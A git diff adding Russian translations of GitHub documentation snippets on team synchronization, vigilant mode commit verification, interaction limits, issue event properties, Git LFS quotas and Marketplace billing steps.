b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-disable.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 1c005afadfe043436fe5537aa94dab9168fff3e4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109928" +--- +{% warning %} + +**Предупреждение.** При отключении синхронизации команд все члены команды, назначенные команде {% data variables.product.prodname_dotcom %} через группу IdP, удаляются из команды и могут потерять доступ к репозиториям. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-okta-requirements.md new file mode 100644 index 000000000000..f87678df400d --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-okta-requirements.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: bc73b3b92f131cf0af80606a2650ac5ce898055e +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878750" +--- +Прежде чем включить синхронизацию команд для Okta, вам или администратору поставщика удостоверений необходимо выполнить следующие действия: + +- Настроить SAML, единый вход и интеграцию SCIM для вашей организации с помощью Okta. Дополнительные сведения см. в разделе [Настройка единого входа SAML и SCIM с помощью Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta). +- Указать URL-адрес клиента для экземпляра Okta. +- Создать допустимый токен SSWS с разрешениями администратора только для чтения для установки Okta в качестве пользователя службы. Дополнительные сведения см. в разделах [Создание токена](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) и [Пользователи службы](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm) в документации Okta. diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-required-permissions.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-required-permissions.md new file mode 100644 index 000000000000..de48f81e41ff --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-required-permissions.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 9133d57ca07dc8abafdf5f8dca8b4cf6ffeb524a +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883887" +--- +Чтобы включить синхронизацию команд с любым поставщиком удостоверений (IdP), необходимо получить административный доступ к IdP или обратиться к администратору IdP для настройки интеграции и групп IdP. Пользователь, который настраивает интеграцию поставщика удостоверений и группы, должен иметь одно из требуемых разрешений. + + | IdP | Необходимые разрешения | + | --- | -------------------- | + | Azure AD |
  • Глобальный администратор.
  • администратор привилегированных ролей;
+ | Okta |
  • Пользователь службы с разрешениями администратора только для чтения
diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-usage-limits.md b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-usage-limits.md new file mode 100644 index 000000000000..12e0dbb52918 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/team-sync-usage-limits.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 67137f8fc39acbc2c502944c0acce296413d868c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109896" +--- +### Ограничения использования + +Для функции синхронизации команды устанавливаются ограничения на использование. Превышение этих ограничений приведет к снижению производительности и сбоям синхронизации. + +- Максимальное число участников команды GitHub: 5000 +- Максимальное число участников в организации GitHub: 10 000 +- Максимальное число команд в организации GitHub: 1500 + diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/verification-status-check.md b/translations/ru-RU/data/reusables/identity-and-permissions/verification-status-check.md new file mode 100644 index 000000000000..dd8be62a3965 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/verification-status-check.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ceca9002f0b79885ad2be33b897ebb4297c2d651 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109891" +--- +Вы можете проверить состояние проверки подписанных фиксаций или тегов в {% data variables.product.product_name %} и посмотреть, почему подписи фиксации могут быть не проверены. Дополнительные сведения см. в разделе [Проверка состояния проверки подписи для фиксации и тега](/articles/checking-your-commit-and-tag-signature-verification-status). diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md b/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md new file mode 100644 index 000000000000..8c5bcb44ec88 --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md @@ -0,0 +1,7 @@ +{% ifversion ghes < 3.7 %} +{% note %} + +**Note:** Vigilant mode is currently in beta and subject to change. + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md b/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md new file mode 100644 index 000000000000..44b9754caa1a --- /dev/null +++ b/translations/ru-RU/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 383458a6038400299b6ab8759b8bbfd1ebbd3a2d +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886220" +--- +| Состояние | Описание | +| -------------- | ----------- | +| **Проверено** | Фиксация подписана, подпись успешно проверена, а пользователь, выполнивший фиксацию — единственный автор, который включил строгий режим. +| **Частично проверено** | Фиксация подписана, и подпись успешно проверена, но у фиксации есть автор, который: a) не является автором фиксации, и б) включил строгий режим. В этом случае подписывание фиксации не гарантирует согласие автора, поэтому фиксация проверяется только частично. +| **Непроверенные** | Любое из следующих утверждений верно:
— фиксация подписана, но подпись невозможно проверить;
— фиксация не подписана, и автор фиксации включил строгий режим;
— фиксация не подписана, и автор включил строгий режим.
diff --git a/translations/ru-RU/data/reusables/interactions/collaborator-user-limit-definition.md b/translations/ru-RU/data/reusables/interactions/collaborator-user-limit-definition.md new file mode 100644 index 000000000000..466a50a94d4c --- /dev/null +++ b/translations/ru-RU/data/reusables/interactions/collaborator-user-limit-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2b59b56217a82a6bc4421ba7f24f6504cc513c89 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109880" +--- +**Только участники совместной работы.** Когда вы ограничиваете взаимодействие до `collaborators_only`, к пользователям, которые не являются участниками совместной работы, будут временно применены ограничения diff --git a/translations/ru-RU/data/reusables/interactions/contributor-user-limit-definition.md b/translations/ru-RU/data/reusables/interactions/contributor-user-limit-definition.md new file mode 100644 index 000000000000..6568f6ed409d --- /dev/null +++ b/translations/ru-RU/data/reusables/interactions/contributor-user-limit-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: dd8c29c23d9259affce4ddb386cfd7299c98dd7c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123560" +--- +**Только участники:** когда вы ограничиваете взаимодействие до `contributors_only`, ко всем пользователям, которые ранее не внесли свой вклад и не являются участниками совместной работы, будут временно применены ограничения diff --git a/translations/ru-RU/data/reusables/interactions/existing-user-limit-definition.md b/translations/ru-RU/data/reusables/interactions/existing-user-limit-definition.md new file mode 100644 index 000000000000..544a65048e84 --- /dev/null +++ b/translations/ru-RU/data/reusables/interactions/existing-user-limit-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 285c6ec4c390d5079fca0d9fa482da84a7343e32 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123555" +--- +**Существующие пользователи**. Когда вы ограничиваете взаимодействие до `existing_users`, к новым пользователям с созданными менее 24 часов назад учетными записями, которые ранее не внесли свой вклад и не являются участниками совместной работы, будут временно применены ограничения diff --git a/translations/ru-RU/data/reusables/interactions/interactions-detail.md b/translations/ru-RU/data/reusables/interactions/interactions-detail.md new file mode 100644 index 000000000000..fed4e3208080 --- /dev/null +++ b/translations/ru-RU/data/reusables/interactions/interactions-detail.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c529d09f19f5f462deaca3db3516bb2a941dd4e4 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879189" +--- +Если ограничения включены, то только указанный тип пользователя {% data variables.product.product_name %} сможет участвовать во взаимодействии. Срок действия ограничений автоматически истекает по истечении заданного периода. diff --git a/translations/ru-RU/data/reusables/issue-events/assignee-properties.md b/translations/ru-RU/data/reusables/issue-events/assignee-properties.md new file mode 100644 index 000000000000..970f29e0a0d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/assignee-properties.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a8d2bb3445d291f1e596ed0f03d35b7832902bbe +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123536" +--- +`assignee` | `object` | Пользователь, для которого отменяется назначение этой проблемы. +`assigner` | `object` | Пользователь, выполнивший отмену назначения для этой проблемы. diff --git a/translations/ru-RU/data/reusables/issue-events/issue-event-common-properties.md b/translations/ru-RU/data/reusables/issue-events/issue-event-common-properties.md new file mode 100644 index 000000000000..50c37a1b18fb --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/issue-event-common-properties.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 7ddb09d4432677f68ccc7dcb757548555cd65db9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080979" +--- +Имя | Тип | Описание +-----|------|-------------- +`id` | `integer` | Уникальный идентификатор события. +`node_id` | `string` | [Идентификатор глобального узла](/graphql/guides/using-global-node-ids) события. +`url`| `string` | URL-адрес REST API для получения события. +`actor` | `object`| Пользователь, создавший событие. +`event` | `string` | Идентифицирует фактический тип наступившего события. +`commit_id` | `string` | SHA фиксации, которая ссылалась на эту проблему. +`commit_url` | `string` | Ссылка REST API GitHub на фиксацию, которая ссылалась на эту проблему. +`created_at` | `string` | Метка времени, указывающая, когда произошло событие. diff --git a/translations/ru-RU/data/reusables/issue-events/label-properties.md b/translations/ru-RU/data/reusables/issue-events/label-properties.md new file mode 100644 index 000000000000..86f702cec5f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/label-properties.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 672ad2c3a79057959f7016858e734229b2450157 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881222" +--- +`label` | `object` | Удалена метка для проблемы `label[name]` | `string` | Имя метки. +`label[color]` | `string` | Шестнадцатеричный цветовой код. diff --git a/translations/ru-RU/data/reusables/issue-events/project-card-properties.md b/translations/ru-RU/data/reusables/issue-events/project-card-properties.md new file mode 100644 index 000000000000..3bf5d182e47e --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/project-card-properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: d6de5899d8be03969dcb41f1bd7fc9ec18e06f95 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123507" +--- +`project_card` | `object` | Объект карточки проекта. +`project_id` | `integer` | Уникальный идентификатор карточки проекта. +`project_url` | `string` | URL-адрес REST API для получения карточки проекта. +`column_name` | `string` | Имя столбца, в котором находится проблема. diff --git a/translations/ru-RU/data/reusables/issue-events/review-dismissed-properties.md b/translations/ru-RU/data/reusables/issue-events/review-dismissed-properties.md new file mode 100644 index 000000000000..a49bd0b29b44 --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/review-dismissed-properties.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 78d6d0b4d9cf98f834352dca2df0de06275e4db9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123504" +--- +`dismissed_review` | `object` | Сведения об отклоненной проверке. +`dismissed_review[state]` | `string` | Состояние запроса на вытягивание на момент его отклонения. Это может быть `commented`, `approved` или `changes_requested`. +`dismissed_review[review_id]` | `string` | Уникальный идентификатор проверки запроса на вытягивание. +`dismissed_review[dismissal_message]` | `string` | Сообщение, которое было включено пользователем при отклонении проверки. +`dismissed_review[dismissal_commit_id]` | `string` | Уникальный идентификатор фиксации, в рамках которой была отклонена проверка (если есть). diff --git a/translations/ru-RU/data/reusables/issue-events/review-request-properties.md b/translations/ru-RU/data/reusables/issue-events/review-request-properties.md new file mode 100644 index 000000000000..a5dd639b4180 --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/review-request-properties.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 698b8a5ebd1b419be2e9a049358e9c2a28c372d8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123496" +--- +`requested_reviewer` | `object` | Пользователь запросил проверку запросов на вытягивание. +`review_requester` | `object` | Пользователь, запросивший проверку. diff --git a/translations/ru-RU/data/reusables/issue-events/timeline_events_object_properties.md b/translations/ru-RU/data/reusables/issue-events/timeline_events_object_properties.md new file mode 100644 index 000000000000..a38e72420ff4 --- /dev/null +++ b/translations/ru-RU/data/reusables/issue-events/timeline_events_object_properties.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3400b78a895743cd2442b3f516dc50ab2afc899b +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884691" +--- +Структура этих свойств события отличается от структуры [общих свойств объекта события проблемы](#issue-event-object-common-properties). Для этого события возвращаются перечисленные ниже свойства. diff --git a/translations/ru-RU/data/reusables/large_files/can-include-lfs-objects-archives.md b/translations/ru-RU/data/reusables/large_files/can-include-lfs-objects-archives.md new file mode 100644 index 000000000000..d7dbbc823eb5 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/can-include-lfs-objects-archives.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 7541583969713e4a770f97cfdeb84a65b8a07e4e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123480" +--- +{% ifversion fpt or ghec %} Вы можете выбрать, следует ли включить объекты {% data variables.large_files.product_name_short %} в архивы исходного кода, такие как ZIP-файлы и архивы Tarball, которые {% data variables.product.product_name %} создает для репозитория. Дополнительные сведения см. в разделе [Управление объектами {% data variables.large_files.product_name_short %} в архивах репозитория](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository). +{% endif %} diff --git a/translations/ru-RU/data/reusables/large_files/does_not_carry.md b/translations/ru-RU/data/reusables/large_files/does_not_carry.md new file mode 100644 index 000000000000..488f11d1b3ce --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/does_not_carry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 67e3bed8e99cf6ae6efed0c7fabfcaa3afb5d3a6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123472" +--- +Неиспользованная пропускная способность не переносится на следующий месяц. diff --git a/translations/ru-RU/data/reusables/large_files/downgrade_data_packs.md b/translations/ru-RU/data/reusables/large_files/downgrade_data_packs.md new file mode 100644 index 000000000000..628fe5900735 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/downgrade_data_packs.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 9b5aef0deb29a4a9fcd62b9e9e67ffd8ac7e0695 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123459" +--- +1. В разделе "Понизить уровень тарифного плана" выберите количество пакетов данных, на которое вы хотите перейти. +![Выбор нового требуемого количества пакетов данных](/assets/images/help/large_files/downgrade_number_of_data_packs.png) +2. Чтобы завершить понижение уровня, нажмите **Понизить уровень тарифного плана**. +![Завершение понижения уровня тарифного плана](/assets/images/help/large_files/downgrade_data_plan.png) diff --git a/translations/ru-RU/data/reusables/large_files/free-storage-bandwidth-amount.md b/translations/ru-RU/data/reusables/large_files/free-storage-bandwidth-amount.md new file mode 100644 index 000000000000..f1fd476eeeed --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/free-storage-bandwidth-amount.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 19524e78cd14d920b492bf4a1042b73705ecbcb4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123451" +--- +Каждой учетной записи, работающей с {% data variables.large_files.product_name_long %}, бесплатно предоставляется {% data variables.large_files.initial_storage_quota %} хранилища и {% data variables.large_files.initial_bandwidth_quota %} пропускной способности в месяц. Если квоты пропускной способности и хранилища недостаточно, можно приобрести дополнительную квоту для {% data variables.large_files.product_name_short %}. diff --git a/translations/ru-RU/data/reusables/large_files/owner_quota_only.md b/translations/ru-RU/data/reusables/large_files/owner_quota_only.md new file mode 100644 index 000000000000..97de15393b49 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/owner_quota_only.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 118f0893777d6e5710e25b1fa0d1e5f4c36dc4f0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123448" +--- +Пропускная способность и использование хранилища учитываются только в квотах для владельца репозитория. В вилках пропускная способность и использование хранилища учитываются в корне сети репозиториев. Любой пользователь с доступом на запись в репозиторий может отправлять файлы в {% data variables.large_files.product_name_short %} без вреда для личной пропускной способности и квот хранилища и без покупки пакетов данных. Ветвление и извлечение репозитория учитывается в ограничении пропускной способности родительского репозитория. diff --git a/translations/ru-RU/data/reusables/large_files/pack_confirm.md b/translations/ru-RU/data/reusables/large_files/pack_confirm.md new file mode 100644 index 000000000000..f8ac8b8e61a3 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/pack_confirm.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3c0dfd6d482d6af565202627fc013b90aa563d1a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123435" +--- +1. Чтобы подтвердить новое количество пакетов данных в месяц, нажмите кнопку **Приобрести**. +![Кнопка «Приобрести дополнительные пакеты данных»](/assets/images/help/billing/data-pack-purchase-button.png) diff --git a/translations/ru-RU/data/reusables/large_files/pack_selection.md b/translations/ru-RU/data/reusables/large_files/pack_selection.md new file mode 100644 index 000000000000..866436d07b3c --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/pack_selection.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a077c874a02c1b5521755fdc03e54b2d33647b3f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123432" +--- +1. Введите количество пакетов данных, которые нужно добавить в свою учетную запись. Каждый пакет стоит {% data variables.large_files.pack_monthly_price %} и предоставляет {% data variables.large_files.pack_monthly_bandwidth %} пропускной способности {% data variables.large_files.pack_monthly_storage %} для хранения. +![Кнопка «Приобрести дополнительные пакеты данных»](/assets/images/help/billing/data-pack-quantity-selector.png) diff --git a/translations/ru-RU/data/reusables/large_files/rejected_pushes.md b/translations/ru-RU/data/reusables/large_files/rejected_pushes.md new file mode 100644 index 000000000000..50316624dc27 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/rejected_pushes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 95da1f9b069298d3e07fd832f4f954305da64129 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123424" +--- +Пользователи не могут отправлять ресурсы {% data variables.large_files.product_name_short %} в {% data variables.product.product_name %}, если {% data variables.large_files.product_name_short %} отключен на предприятии или в репозитории. diff --git a/translations/ru-RU/data/reusables/large_files/resolving-upload-failures.md b/translations/ru-RU/data/reusables/large_files/resolving-upload-failures.md new file mode 100644 index 000000000000..b2ad6fff1b83 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/resolving-upload-failures.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ca5207c5ca70335a1a7733b5c12dd7e375e11645 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878781" +--- +Если имеются ссылки на файлы {% data variables.large_files.product_name_short %}, которые не были успешно отправлены, появится сообщение об ошибке. Дополнительные сведения см. в разделе [Устранение сбоев при отправке данных {% data variables.large_files.product_name_long %}](/articles/resolving-git-large-file-storage-upload-failures). diff --git a/translations/ru-RU/data/reusables/large_files/storage_assets_location.md b/translations/ru-RU/data/reusables/large_files/storage_assets_location.md new file mode 100644 index 000000000000..cfc3b76dfa3f --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/storage_assets_location.md @@ -0,0 +1,3 @@ +{% ifversion ghes %} +By default, the {% data variables.large_files.product_name_long %} client stores large assets on the same server that hosts the Git repository. When {% data variables.large_files.product_name_short %} is enabled on {% data variables.location.product_location %}, large assets are stored on the data partition in `/data/user/storage`. +{% endif %} diff --git a/translations/ru-RU/data/reusables/large_files/use_lfs_tip.md b/translations/ru-RU/data/reusables/large_files/use_lfs_tip.md new file mode 100644 index 000000000000..5c45786e34d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/large_files/use_lfs_tip.md @@ -0,0 +1,5 @@ +{% tip %} + +**Tip:** If you regularly push large files to {% data variables.location.product_location %}, consider using {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see "[Versioning large files](/articles/versioning-large-files)." + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/linux/ensure-docker.md b/translations/ru-RU/data/reusables/linux/ensure-docker.md new file mode 100644 index 000000000000..6bf80eb11ce2 --- /dev/null +++ b/translations/ru-RU/data/reusables/linux/ensure-docker.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 97377a3f56a45866e8142e003aeaebba70507143 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123387" +--- +1. [Убедитесь, что Docker установлен](https://www.docker.com/) в локальной среде. diff --git a/translations/ru-RU/data/reusables/marketplace/add-payment-method-org.md b/translations/ru-RU/data/reusables/marketplace/add-payment-method-org.md new file mode 100644 index 000000000000..c25e86ded2a5 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/add-payment-method-org.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 526dfdf837e9029147d9f04bb4d935f83798ba78 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123379" +--- +1. Если вы выбрали платный план, просмотрите метод оплаты. + - Чтобы изменить существующий способ оплаты для организации, нажмите кнопку **Изменить...** , а затем заполните форму, чтобы добавить новый способ оплаты. После успешного добавления нового способа оплаты вы автоматически вернетесь на страницу заказа. + ![Ссылка для добавления способа оплаты в организацию](/assets/images/help/marketplace/marketplace-edit-payment-method-org.png) + - Если для организации нет способа оплаты, нажмите кнопку **Добавить способ оплаты**, а затем заполните форму, чтобы добавить кредитную карту или учетную запись PayPal. + ![Ссылка для добавления способа оплаты в организацию](/assets/images/help/marketplace/marketplace-add-payment-method-org.png) diff --git a/translations/ru-RU/data/reusables/marketplace/add-payment-method-personal.md b/translations/ru-RU/data/reusables/marketplace/add-payment-method-personal.md new file mode 100644 index 000000000000..8118d5a0e4ef --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/add-payment-method-personal.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c6853b47b11a1606dc425ae7541d1b83c1426d3b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123371" +--- +1. Если вы выбрали платный план, просмотрите метод оплаты. + - Чтобы изменить существующий способ оплаты для своей личной учетной записи, нажмите кнопку **Изменить...** , а затем заполните форму, чтобы добавить новый способ оплаты. После успешного добавления нового способа оплаты вы автоматически вернетесь на страницу заказа. + ![Ссылка для добавления способа оплаты в личную учетную запись](/assets/images/help/marketplace/marketplace-edit-payment-method-personal.png) + - Если для вашей личной учетной записи нет способа оплаты, нажмите кнопку **Добавить способ оплаты**, а затем заполните форму, чтобы добавить кредитную карту или учетную запись PayPal. + ![Ссылка для добавления способа оплаты в личную учетную запись](/assets/images/help/marketplace/marketplace-add-payment-method-personal.png) diff --git a/translations/ru-RU/data/reusables/marketplace/app-transfer-to-org-for-verification.md b/translations/ru-RU/data/reusables/marketplace/app-transfer-to-org-for-verification.md new file mode 100644 index 000000000000..59589aa0053d --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/app-transfer-to-org-for-verification.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5ddc6b8bf49920a6b876c9d87ec749b411052130 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123368" +--- +Если вы хотите продать приложение, принадлежащее вашей личной учетной записи, сначала необходимо перенести приложение в организацию, а затем запросить проверку для листинга, созданного организацией. diff --git a/translations/ru-RU/data/reusables/marketplace/browse-to-app.md b/translations/ru-RU/data/reusables/marketplace/browse-to-app.md new file mode 100644 index 000000000000..d4dbbf6110d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/browse-to-app.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b59633f932737d866079969f4fe57f23eb3e9438 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123360" +--- +1. Перейдите к приложению, которое вы хотите установить, а затем щелкните имя приложения. diff --git a/translations/ru-RU/data/reusables/marketplace/cancel-app-billing-settings.md b/translations/ru-RU/data/reusables/marketplace/cancel-app-billing-settings.md new file mode 100644 index 000000000000..95c0b5e79c3d --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/cancel-app-billing-settings.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d2d2a73223587a995cd78691b0ad3b7525fb94a4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123352" +--- +1. Рядом с приложением, которое вы хотите отменить, используйте раскрывающийся список **Редактирование** и нажмите кнопку **Отменить план**. + ![Ссылка «Отмена» в разделе «Покупки в Marketplace» в параметрах выставления счетов вашей личной учетной записи](/assets/images/help/marketplace/marketplace-edit-app-billing-settings.png) diff --git a/translations/ru-RU/data/reusables/marketplace/cancel-app.md b/translations/ru-RU/data/reusables/marketplace/cancel-app.md new file mode 100644 index 000000000000..657b10617dd6 --- /dev/null +++ b/translations/ru-RU/data/reusables/marketplace/cancel-app.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4dd93628d69de4c23141812b7b55076d50c5d314 +ms.sourcegitcommit: 